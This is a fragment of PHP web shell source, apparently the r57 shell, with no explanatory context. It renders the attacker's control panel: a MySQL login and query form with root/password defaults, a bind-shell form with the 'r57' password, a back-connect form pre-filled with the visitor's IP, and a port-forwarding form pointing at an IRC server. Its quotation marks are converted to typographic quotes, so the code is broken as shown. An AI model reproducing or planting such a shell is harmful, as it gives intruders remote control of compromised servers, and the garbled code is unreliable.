echo sr(35,”“.$lang[$language.'_text111'].$arrow.”“,in(‘text’,'db_server’,15,(!empty($_POST['db_server'])?($_POST['db_server']):(“localhost”))).’ : ‘.in(‘text’,'db_port’,15,(!empty($_POST['db_port'])?($_POST['db_port']):(“3306″))));
echo sr(35,”“.$lang[$language.'_text37'].’ : ‘.$lang[$language.'_text38'].$arrow.”“,in(‘text’,'mysql_l’,15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(“root”))).’ : ‘.in(‘text’,'mysql_p’,15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(“password”))));
echo sr(35,”“.$lang[$language.'_text39'].$arrow.”“,in(‘text’,'mysql_db’,15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(“mysql”))));
echo sr(35,”“.$lang[$language.'_text84'].$arrow.”“.in(‘hidden’,'dir’,0,$dir).in(‘hidden’,'cmd’,0,’db_query’),”");
echo $te.”
“.in(‘submit’,'submit’,0,$lang[$language.'_butt1']).”
“.$fe.”
“;
}
if(!$safe_mode&&$unix){
echo $table_up1.div_title($lang[$language.'_text81'],’id21′).$table_up2.div(‘id21′).$ts.”
echo “
echo sr(40,”“.$lang[$language.'_text10'].$arrow.”“,in(‘text’,'port’,15,’11457′));
echo sr(40,”“.$lang[$language.'_text11'].$arrow.”“,in(‘text’,'bind_pass’,15,’r57′));
echo sr(40,”“.$lang[$language.'_text20'].$arrow.”“,”
“.in(‘hidden’,'dir’,0,$dir));
echo sr(40,”",in(‘submit’,'submit’,0,$lang[$language.'_butt3']));
echo $te.”
“.$fe.$fs.”
echo “
echo sr(40,”“.$lang[$language.'_text13'].$arrow.”“,in(‘text’,'ip’,15,((getenv(‘REMOTE_ADDR’)) ? (getenv(‘REMOTE_ADDR’)) : (“127.0.0.1″))));
echo sr(40,”“.$lang[$language.'_text14'].$arrow.”“,in(‘text’,'port’,15,’11457′));
echo sr(40,”“.$lang[$language.'_text20'].$arrow.”“,”
“.in(‘hidden’,'dir’,0,$dir));
echo sr(40,”",in(‘submit’,'submit’,0,$lang[$language.'_butt4']));
echo $te.”
“.$fe.$fs.”
echo “
echo sr(40,”“.$lang[$language.'_text23'].$arrow.”“,in(‘text’,'local_port’,15,’11457′));
echo sr(40,”“.$lang[$language.'_text24'].$arrow.”“,in(‘text’,'remote_host’,15,’irc.dalnet.ru’));
echo sr(40,”“.$lang[$language.'_text25'].$arrow.”“,in(‘text’,'remote_port’,15,’6667′));
echo sr(40,”“.$lang[$language.'_text26'].$arrow.”“,”
“.in(‘hidden’,'dir’,0,$dir));
echo sr(40,”",in(‘submit’,'submit’,0,$lang[$language.'_butt5']));
echo $te.”
“.$fe.”
“;
}
echo ‘
‘.$table_up3.”